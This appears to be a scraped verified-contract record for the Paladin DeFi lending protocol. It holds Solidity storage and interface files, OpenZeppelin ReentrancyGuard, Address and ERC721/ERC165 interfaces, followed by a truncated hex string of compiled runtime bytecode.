//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
import "./IPaladinController.sol";
import "./IPalLoanToken.sol";
import "./interests/InterestInterface.sol";
import "./IPalPool.sol";
import "./IPalToken.sol";
import "./utils/IERC20.sol";
/** @title palPool Storage contract */
/// @author Paladin
contract PalPoolStorage {
/** @notice Struct of a Borrow */
struct Borrow {
//id of the palLoanToken
uint256 tokenId;
//address of the delegatee
address delegatee;
//address of the Loan Pool contract holding the loan
address loan;
//amount of the loan
uint amount;
//address of the underlying for this loan
address underlying;
//amount of fees (in the underlying token) paid by the borrower
uint feesAmount;
//amount of fees (in the underlying token) already used
uint feesUsed;
//borrow index at the loan creation
uint borrowIndex;
//start block for the Borrow
uint startBlock;
//block where the Borrow was closed
uint closeBlock;
//false if the loan is active, true if loan was closed or killed
bool closed;
//false when the loan is active, true if the loan was killed
bool killed;
}
//palPool variables & Mappings
/** @notice ERC721 palLoanToken */
IPalLoanToken public palLoanToken;
/** @notice Underlying ERC20 token of this Pool */
IERC20 public underlying;
/** @notice ERC20 palToken for this Pool */
IPalToken public palToken;
/** @dev Boolean to prevent reentry in some functions */
bool internal entered = false;
/** @notice Total of the current Reserve */
uint public totalReserve;
/** @notice Total of underlying tokens "borrowed" (in Loan Pool contracts) */
uint public totalBorrowed;
/** @notice Total fees accrued since last withdraw */
/** (this amount id part of the Reserve : we should always have totalReserve >= accruedFees) */
uint public accruedFees;
/** @notice Minimum duration of a Borrow (in blocks) */
uint public minBorrowLength = 45290;
/** @dev Health Factor to kill a loan */
uint public constant killFactor = 0.95e18;
/** @dev Ratio of the borrow fees to pay the killer of a loan */
uint public killerRatio = 0.1e18;
/** @dev Base value to mint palTokens */
uint internal constant initialExchangeRate = 1e18;
/** @notice Part of the borrows interest to set as Reserves */
uint public reserveFactor = 0.2e18;
/** @notice Last block where the interest where updated for this pool */
uint public accrualBlockNumber;
/** @notice Borrow Index : increase at each interest update to represent borrows interests increasing */
uint public borrowIndex;
/** @dev Scale used to represent decimal values */
uint constant internal mantissaScale = 1e18;
/** @dev Mapping of Loan Pool contract address to Borrow struct */
mapping (address => Borrow) internal loanToBorrow;
/** @dev List of all Loans (active & closed) */
address[] internal loans;
/** @dev Current number of active Loans */
uint public numberActiveLoans;
//Modules
/** @notice Paladin Controller contract */
IPaladinController public controller;
/** @dev Current Inetrest Module */
InterestInterface internal interestModule;
/** @dev Delegator for the underlying governance token */
address internal delegator;
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
/** @title Interface for PalLoan contract */
/// @author Paladin
interface IPalLoan {
// Variables
function underlying() external view returns(address);
function amount() external view returns(uint);
function borrower() external view returns(address);
function delegatee() external view returns(address);
function motherPool() external view returns(address);
function feesAmount() external view returns(uint);
// Functions
function initiate(
address _motherPool,
address _borrower,
address _underlying,
address _delegatee,
uint _amount,
uint _feesAmount
) external returns(bool);
function expand(uint _newFeesAmount) external returns(bool);
function closeLoan(uint _usedAmount, address _currentBorrower) external;
function killLoan(address _killer, uint _killerRatio) external;
function changeDelegatee(address _delegatee) external returns(bool);
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
pragma abicoder v2;
//SPDX-License-Identifier: MIT
import "./utils/IERC721.sol";
/** @title palLoanToken Interface */
/// @author Paladin
interface IPalLoanToken is IERC721 {
//Events
/** @notice Event when a new Loan Token is minted */
event NewLoanToken(address palPool, address indexed owner, address indexed palLoan, uint256 indexed tokenId);
/** @notice Event when a Loan Token is burned */
event BurnLoanToken(address palPool, address indexed owner, address indexed palLoan, uint256 indexed tokenId);
//Functions
function mint(address to, address palPool, address palLoan) external returns(uint256);
function burn(uint256 tokenId) external returns(bool);
function tokenURI(uint256 tokenId) external view returns (string memory);
function tokenOfByIndex(address owner, uint256 tokenIdex) external view returns (uint256);
function loanOf(uint256 tokenId) external view returns(address);
function poolOf(uint256 tokenId) external view returns(address);
function loansOf(address owner) external view returns(address[] memory);
function tokensOf(address owner) external view returns(uint256[] memory);
function loansOfForPool(address owner, address palPool) external view returns(address[] memory);
function allTokensOf(address owner) external view returns(uint256[] memory);
function allLoansOf(address owner) external view returns(address[] memory);
function allLoansOfForPool(address owner, address palPool) external view returns(address[] memory);
function allOwnerOf(uint256 tokenId) external view returns(address);
function isBurned(uint256 tokenId) external view returns(bool);
//Admin functions
function setNewController(address _newController) external;
function setNewBaseURI(string memory _newBaseURI) external;
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
/** @title Interest Module Interface */
/// @author Paladin
interface InterestInterface {
function getSupplyRate(address palPool, uint cash, uint borrows, uint reserves, uint reserveFactor) external view returns(uint);
function getBorrowRate(address palPool, uint cash, uint borrows, uint reserves) external view returns(uint);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 0x608060405234801561001057600080fd5b506004361061032b5760003560e01c8063716e257f116101b2578063d448cca2116100f9578063f3fef3a3116100a2578063f7c618c11161007c578063f7c618c114610d15578063f8cf31cb14610d1d578063f949020f1461070a578063fac95a9e14610d505761032b565b8063f3fef3a314610b5e578063f5565ddf14610b97578063f69cd08b14610bee5761032b565b8063eaac8c32116100d3578063eaac8c3214610ac5578063eb3f9c9114610af8578063f31878ae14610b2b5761032b565b8063d448cca214610a82578063d8bd5c2914610a8a578063db5ea61314610a925761032b565b80639c5b00a31161015b578063bd8c16a511610135578063bd8c16a5146109dd578063c24525b514610a10578063cacd50f414610a495761032b565b80639c5b00a314610930578063a7d181ba14610963578063aa9e415a146109aa5761032b565b80638498fce41161018c5780638498fce41461089d5780638eec99c8146108f557806398ad9719146109285761032b565b8063716e257f14610330578063806f8ab2146107b157806382fc88101461086a5761032b565b8063402914f5116102765780634bb1a28d1161021f5780635c0d1b0d116101f95780635c0d1b0d146107b1578063603f20bd146107f45780636e8f42051461082f5761032b565b80634bb1a28d1461070a5780634c263c53146107435780635645a8551461077e5761032b565b806347e7ef241161025057806347e7ef241461065b57806348f105ef146106945780634b273370146106c75761032b565b8063402914f5146105d8578063418b8e011461060b57806345d465a2146106285761032b565b8063275bd214116102d857806338c20c3a116102b257806338c20c3a14610562578063396f7b231461059d5780633b7d0946146105a55761032b565b8063275bd214146104a25780632770cff5146105125780632d03d3ec146105455761032b565b8063128fced111610309578063128fced1146104075780631e83409a1461043a578063234ab4cb1461046f5761032b565b806308bc016e146103305780631024021914610389578063125f9e33146103d6575b600080fd5b6103756004803603606081101561034657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013582169160409091013516610d93565b604080519115158252519081900360200190f35b6103c46004803603604081101561039f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610ebb565b60408051918252519081900360200190f35b6103de610ed0565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6103c46004803603602081101561041d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ef1565b61046d6004803603602081101561045057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f03565b005b6103c46004803603602081101561048557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111f0565b6104d5600480360360208110156104b857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611202565b604080517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff909316835263ffffffff90911660208301528051918290030190f35b6103c46004803603602081101561052857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661125a565b6103de6004803603602081101561055b57600080fd5b503561126c565b6103756004803603604081101561057857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166112a3565b6103de6115ad565b610375600480360360208110156105bb57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166115c9565b6103c4600480360360208110156105ee57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611a79565b6103de6004803603602081101561062157600080fd5b5035611aa1565b6103756004803603602081101561063e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611ab1565b6103756004803603604081101561067157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135611ac6565b610375600480360360208110156106aa57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611efa565b610375600480360360608110156106dd57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135611fd7565b6103756004803603604081101561072057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356120b7565b6103c46004803603604081101561075957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661213a565b6103756004803603602081101561079457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612157565b610375600480360360608110156107c757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356122fc565b61046d6004803603604081101561080a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166123ad565b6103c46004803603604081101561084557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166128bd565b6103de6004803603602081101561088057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166128da565b6108a5612902565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156108e15781810151838201526020016108c9565b505050509050019250505060405180910390f35b61046d6004803603602081101561090b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612971565b6108a5612a7f565b6103c46004803603602081101561094657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612aec565b61046d6004803603608081101561097957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602081013590604081013590606001351515612afe565b6103c4600480360360208110156109c057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612e0b565b6103c4600480360360208110156109f357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612e1d565b610a1861311d565b604080517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61046d60048036036040811015610a5f57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16613130565b6103c4613465565b6103de613555565b6103c460048036036020811015610aa857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16613571565b61046d60048036036020811015610adb57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16613583565b61037560048036036020811015610b0e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661371b565b61046d60048036036020811015610b4157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16613730565b61037560048036036040811015610b7457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356137e9565b610375600480360360c0811015610bad57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135821691604082013581169160608101359160808201359160a0013516613bb5565b61037560048036036040811015610c0457600080fd5b810190602081018135640100000000811115610c1f57600080fd5b820183602082011115610c3157600080fd5b80359060200191846020830284011164010000000083111715610c5357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050640100000000811115610ca357600080fd5b820183602082011115610cb557600080fd5b80359060200191846020830284011164010000000083111715610cd757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550613ca2945050505050565b6103de614053565b61046d60048036036020811015610d3357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16614074565b61037560048036036060811015610d6657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359160409091013516614146565b6000610d9e33611efa565b6040518060400160405280600281526020017f343000000000000000000000000000000000000000000000000000000000000081525090610e77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e3c578181015183820152602001610e24565b50505050905090810190601f168015610e695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5073ffffffffffffffffffffffffffffffffffffffff84166000908152600f602052604090205460ff1615610eb057610eb08483614268565b5060015b9392505050565b6000610ec78383614427565b90505b92915050565b600654610100900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020526000908152604090205481565b60125460408051808201909152600281527f343500000000000000000000000000000000000000000000000000000000000060208201529060ff1615610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055610fd981613730565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600e602052604090205480156111c457600061100f614053565b90508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561107857600080fd5b505afa15801561108c573d6000803e3d6000fd5b505050506040513d60208110156110a257600080fd5b505160408051808201909152600281527f3431000000000000000000000000000000000000000000000000000000000000602082015290831115611141576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5073ffffffffffffffffffffffffffffffffffffffff8084166000908152600e6020526040812055611176908216848461462f565b60408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917f1f89f96333d3133000ee447473151fa9606543368f02271c9d95ae14f13bcc67919081900360200190a2505b5050601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600d6020526000908152604090205481565b6007602052600090815260409020547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8116907c0100000000000000000000000000000000000000000000000000000000900463ffffffff1682565b60086020526000908152604090205481565b6004818154811061127c57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b6000805473ffffffffffffffffffffffffffffffffffffffff16331461132a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61133382611efa565b156040518060400160405280600281526020017f3338000000000000000000000000000000000000000000000000000000000000815250906113d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b506003805460018181019092557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff8087167fffffffffffffffffffffffff000000000000000000000000000000000000000092831681179093556004805494850190557f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b90930180549386169382168417905560009182526005602090815260408084208054909316851790925592825260079092522080547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166114fb5780547fffffffff00000000000000000000000000000000000000000000000000000000166ec097ce7bc90715b34b9f10000000001781555b611504436146bc565b815463ffffffff919091167c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161781556040805173ffffffffffffffffffffffffffffffffffffffff80861682528616602082015281517f23437e5a11a835d7debb5f4c4261337d0cedb70993299eb75759a8a23d3a9b7b929181900390910190a15060019392505050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff16331461165057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61165982611efa565b6040518060400160405280600281526020017f3339000000000000000000000000000000000000000000000000000000000000815250906116f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b506000600480548060200260200160405190810160405280929190818152602001828054801561175b57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611730575b5050505050905060006117796001835161473590919063ffffffff16565b905060005b8251811015611a6c578473ffffffffffffffffffffffffffffffffffffffff168382815181106117aa57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415611a64576000600382815481106117dd57fe5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168083526005909152604090912080547fffffffffffffffffffffffff000000000000000000000000000000000000000016905560048054919250908490811061184657fe5b6000918252602090912001546004805473ffffffffffffffffffffffffffffffffffffffff909216918490811061187957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600383815481106118ce57fe5b6000918252602090912001546003805473ffffffffffffffffffffffffffffffffffffffff909216918490811061190157fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600480548061195457fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905560038054806119b757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590557fd602a50f89e680f70b82137ea55e3d0997dac209459429868fe10d249610cf6d8682604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001945050505050611a74565b60010161177e565b506000925050505b919050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600e602052604090205490565b6003818154811061127c57600080fd5b60106020526000908152604090205460ff1681565b60125460408051808201909152600281527f3435000000000000000000000000000000000000000000000000000000000000602082015260009160ff1615611b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905573ffffffffffffffffffffffffffffffffffffffff80841660009081526005602052604090205416611bc681611efa565b6040518060400160405280600281526020017f333900000000000000000000000000000000000000000000000000000000000081525090611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c5781810151